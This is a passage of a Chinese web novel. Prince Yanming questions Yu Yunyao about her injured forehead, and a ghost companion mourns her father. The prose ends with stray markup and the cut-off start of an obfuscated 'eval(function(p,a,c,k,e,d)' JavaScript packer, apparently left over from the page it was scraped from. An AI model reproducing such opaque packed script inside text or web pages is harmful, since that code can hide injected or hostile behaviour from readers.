“你那白纱被血弄脏了,我随便给你临时弄得,你凑合着用吧。”
说着,他开始有些生硬的转移话题:“对了,你这额头上的伤是怎么回事?”
鞠行臣眼底的情绪瞬间变得冷厉起来,双眼眯起,满是危险的气息:“是不是这户的那个男的伤你了?”
余云姚愣了愣,怎么可能承认,赶紧否认:“不、不是…”
“是我自己不小心摔的…”
余云姚假装不经意间瞥了瞥鞠行臣身后,实际上是给那正一脸愧疚的姜雾欢递了一个安抚的眼神。
她还是一脸茫然呢,自己到底是怎么摔破了脑袋?
反正无论如何,不能把姜雾欢的家人们牵涉进来。
鞠行臣的目光紧紧盯着余云姚,似乎是想要在她脸上找到一点的不对劲。
可余云姚压根就心虚的不敢看鞠行臣。
气氛一时之间变得凝固,鞠行臣深深叹了口气,认命般转身给余云姚倒了一杯热茶。
递给了她。
余云姚接过热茶,唇角泛起灿烂的笑意:“谢谢晏明殿下!”
“晏明殿下,我好像觉得你这几日…变了。”
变了?
鞠行臣微微挑眉,看着对面的女子抿了一口滚烫的热茶,紧皱起眉头,似是被烫到了舌头。
他眼底满是冷意:“哪里变了?”
余云姚也有些说不上来,就是总觉得…鞠行臣好像自从去过西苑以后,对自己就没有那么强烈的排斥反应了。
鞠行臣接过茶杯放了回去,丢下了一句话:“好好休息吧,我去拿本书过来看。”
他在这鸟不拉屎的地方实在是无聊,想着回马车把卷轴拿过来看。
余云姚点了点头,半坐在床榻上,等鞠行臣离开以后,才连忙焦急询问姜雾欢跟长孙云画。
“怎么样了?”
“欢欢,你的母亲和弟弟…”
姜雾欢红着双眼,待鞠行臣走远后,委屈的飘了下来,似乎是想要钻进余云姚的怀里。
但轻飘飘的,她的脑袋穿过了余云姚的身子,又从床底钻了出来。
“晚初…”
“我爹没了…”
“啊呜呜呜——”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c